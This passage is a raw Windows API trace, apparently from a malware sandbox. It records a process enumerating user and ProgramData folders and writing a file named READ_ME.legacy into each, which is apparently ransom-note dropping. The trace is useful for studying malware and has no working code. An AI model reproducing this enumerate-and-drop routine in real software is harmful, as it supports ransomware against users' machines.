SetLastError (dwErrCode=0x12) [0111.270] GetLastError () returned 0x12 [0111.270] SetLastError (dwErrCode=0x12) [0111.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0111.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d030 [0111.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0111.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4d8 [0111.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5f98 [0111.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5f98 | out: hHeap=0x520000) returned 1 [0111.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20180 [0111.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20180 | out: hHeap=0x520000) returned 1 [0111.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4d8 | out: hHeap=0x520000) returned 1 [0111.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0111.270] FindNextFileW (in: hFindFile=0x5c5f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xab359e9a, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xab359e9a, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Logs", cAlternateFileName="")) returned 1 [0111.270] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0111.270] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0111.270] GetLastError () returned 0x12 [0111.270] SetLastError (dwErrCode=0x12) [0111.270] GetLastError () returned 0x12 [0111.270] SetLastError (dwErrCode=0x12) [0111.270] GetLastError () returned 0x12 [0111.271] SetLastError (dwErrCode=0x12) [0111.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0111.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d280 [0111.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0111.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0111.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0111.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0111.271] GetLastError () returned 0x12 [0111.271] SetLastError (dwErrCode=0x12) [0111.271] GetLastError () returned 0x12 [0111.271] SetLastError (dwErrCode=0x12) [0111.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0111.271] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0111.271] GetLastError () returned 0x12 [0111.271] SetLastError (dwErrCode=0x12) [0111.271] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0111.271] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\READ_ME.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc [0111.272] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0111.272] WriteFile (in: hFile=0x5cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.273] CloseHandle (hObject=0x5cc) returned 1 [0111.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0111.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0111.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0111.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0111.273] FindNextFileW (in: hFindFile=0x5c5f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1f189bf, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1f189bf, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1f3ca41, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0111.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0111.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0111.273] GetLastError () returned 0x0 [0111.273] SetLastError (dwErrCode=0x0) [0111.273] GetLastError () returned 0x0 [0111.274] SetLastError (dwErrCode=0x0) [0111.274] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0111.274] GetLastError () returned 0x0 [0111.274] SetLastError (dwErrCode=0x0) [0111.274] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4d8 [0111.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4d8 | out: hHeap=0x520000) returned 1 [0111.274] FindNextFileW (in: hFindFile=0x5c5f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1f189bf, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1f189bf, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1f3ca41, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0111.274] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0111.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0111.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0111.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d208 | out: hHeap=0x520000) returned 1 [0111.274] FindFirstFileW (in: lpFileName="\\Users\\All Users\\WindowsHolographicDevices\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1f92128, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5d18 [0111.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.274] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0111.274] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0111.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0111.274] GetLastError () returned 0x12 [0111.275] SetLastError (dwErrCode=0x12) [0111.275] GetLastError () returned 0x12 [0111.275] SetLastError (dwErrCode=0x12) [0111.275] GetLastError () returned 0x12 [0111.275] SetLastError (dwErrCode=0x12) [0111.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671c0 [0111.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d6b8 [0111.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0111.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d348 [0111.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5d58 [0111.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5d58 | out: hHeap=0x520000) returned 1 [0111.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20138 [0111.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20138 | out: hHeap=0x520000) returned 1 [0111.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d348 | out: hHeap=0x520000) returned 1 [0111.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671c0 | out: hHeap=0x520000) returned 1 [0111.276] FindNextFileW (in: hFindFile=0x5c5d18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd1f92128, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0111.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0111.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0111.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0111.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0111.276] GetLastError () returned 0x12 [0111.276] SetLastError (dwErrCode=0x12) [0111.276] GetLastError () returned 0x12 [0111.276] SetLastError (dwErrCode=0x12) [0111.276] GetLastError () returned 0x12 [0111.276] SetLastError (dwErrCode=0x12) [0111.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0111.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d2f0 [0111.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d2f0 | out: hHeap=0x520000) returned 1 [0111.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d488 [0111.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5a18 [0111.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5a18 | out: hHeap=0x520000) returned 1 [0111.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0111.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0111.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d488 | out: hHeap=0x520000) returned 1 [0111.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0111.277] FindNextFileW (in: hFindFile=0x5c5d18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1f92128, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1f92128, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1f92128, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0111.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0111.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0111.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0111.278] GetLastError () returned 0x12 [0111.278] SetLastError (dwErrCode=0x12) [0111.278] GetLastError () returned 0x12 [0111.278] SetLastError (dwErrCode=0x12) [0111.278] GetLastError () returned 0x12 [0111.278] SetLastError (dwErrCode=0x12) [0111.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d488 [0111.278] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d488 | out: hHeap=0x520000) returned 1 [0111.278] FindNextFileW (in: hFindFile=0x5c5d18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SpatialStore", cAlternateFileName="SPATIA~1")) returned 1 [0111.278] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0111.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.278] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0111.278] GetLastError () returned 0x12 [0111.278] SetLastError (dwErrCode=0x12) [0111.278] GetLastError () returned 0x12 [0111.279] SetLastError (dwErrCode=0x12) [0111.279] GetLastError () returned 0x12 [0111.279] SetLastError (dwErrCode=0x12) [0111.279] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d488 [0111.279] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d348 [0111.279] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d488 | out: hHeap=0x520000) returned 1 [0111.279] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d348 | out: hHeap=0x520000) returned 1 [0111.279] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5679b8 [0111.279] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2a8 [0111.279] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567940 [0111.279] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0111.279] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0111.279] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0111.279] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0111.280] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0111.280] GetLastError () returned 0x12 [0111.280] SetLastError (dwErrCode=0x12) [0111.280] GetLastError () returned 0x12 [0111.280] SetLastError (dwErrCode=0x12) [0111.280] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57f048 [0111.280] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0111.280] GetLastError () returned 0x12 [0111.281] SetLastError (dwErrCode=0x12) [0111.281] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7290 [0111.281] CreateFileW (lpFileName="\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore\\READ_ME.legacy" (normalized: "c:\\users\\all users\\windowsholographicdevices\\spatialstore\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d0 [0111.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7290 | out: hHeap=0x520000) returned 1 [0111.281] WriteFile (in: hFile=0x5d0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.282] CloseHandle (hObject=0x5d0) returned 1 [0111.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57f048 | out: hHeap=0x520000) returned 1 [0111.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0111.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0111.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567940 | out: hHeap=0x520000) returned 1 [0111.283] FindNextFileW (in: hFindFile=0x5c5d18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SpatialStore", cAlternateFileName="SPATIA~1")) returned 0 [0111.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d030 [0111.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0111.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0111.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d370 | out: hHeap=0x520000) returned 1 [0111.283] FindFirstFileW (in: lpFileName="\\Users\\Default.migrated\\AppData\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7205420a, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0xd1f92128, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5a18 [0111.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0111.284] GetLastError () returned 0x12 [0111.284] SetLastError (dwErrCode=0x12) [0111.284] GetLastError () returned 0x12 [0111.284] SetLastError (dwErrCode=0x12) [0111.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0111.284] GetLastError () returned 0x12 [0111.284] SetLastError (dwErrCode=0x12) [0111.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0111.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d240 [0111.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0111.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d348 [0111.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5f98 [0111.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5f98 | out: hHeap=0x520000) returned 1 [0111.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0111.285] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0111.285] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d348 | out: hHeap=0x520000) returned 1 [0111.285] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0111.285] FindNextFileW (in: hFindFile=0x5c5a18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7205420a, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0xd1f92128, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0111.285] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0111.285] GetLastError () returned 0x12 [0111.285] SetLastError (dwErrCode=0x12) [0111.285] GetLastError () returned 0x12 [0111.285] SetLastError (dwErrCode=0x12) [0111.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0111.285] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0111.285] GetLastError () returned 0x12 [0111.285] SetLastError (dwErrCode=0x12) [0111.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0111.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56cfd8 [0111.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0111.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d208 [0111.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5f98 [0111.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5f98 | out: hHeap=0x520000) returned 1 [0111.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20090 [0111.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0111.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d208 | out: hHeap=0x520000) returned 1 [0111.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0111.286] FindNextFileW (in: hFindFile=0x5c5a18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7202dfa5, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7202dfa5, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Local", cAlternateFileName="")) returned 1 [0111.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0111.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0111.286] GetLastError () returned 0x12 [0111.286] SetLastError (dwErrCode=0x12) [0111.286] GetLastError () returned 0x12 [0111.286] SetLastError (dwErrCode=0x12) [0111.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0111.287] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0111.287] GetLastError () returned 0x12 [0111.287] SetLastError (dwErrCode=0x12) [0111.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d978 [0111.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d208 [0111.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0111.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0111.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0111.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0111.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0111.287] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0111.287] GetLastError () returned 0x12 [0111.287] SetLastError (dwErrCode=0x12) [0111.287] GetLastError () returned 0x12 [0111.287] SetLastError (dwErrCode=0x12) [0111.288] GetLastError () returned 0x12 [0111.288] SetLastError (dwErrCode=0x12) [0111.288] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0111.288] CreateFileW (lpFileName="\\Users\\Default.migrated\\AppData\\Local\\READ_ME.legacy" (normalized: "c:\\users\\default.migrated\\appdata\\local\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d4 [0111.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0111.289] WriteFile (in: hFile=0x5d4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0111.291] CloseHandle (hObject=0x5d4) returned 1 [0111.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0111.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0111.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0111.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0111.291] FindNextFileW (in: hFindFile=0x5c5a18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1f92128, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1f92128, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd1f92128, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, 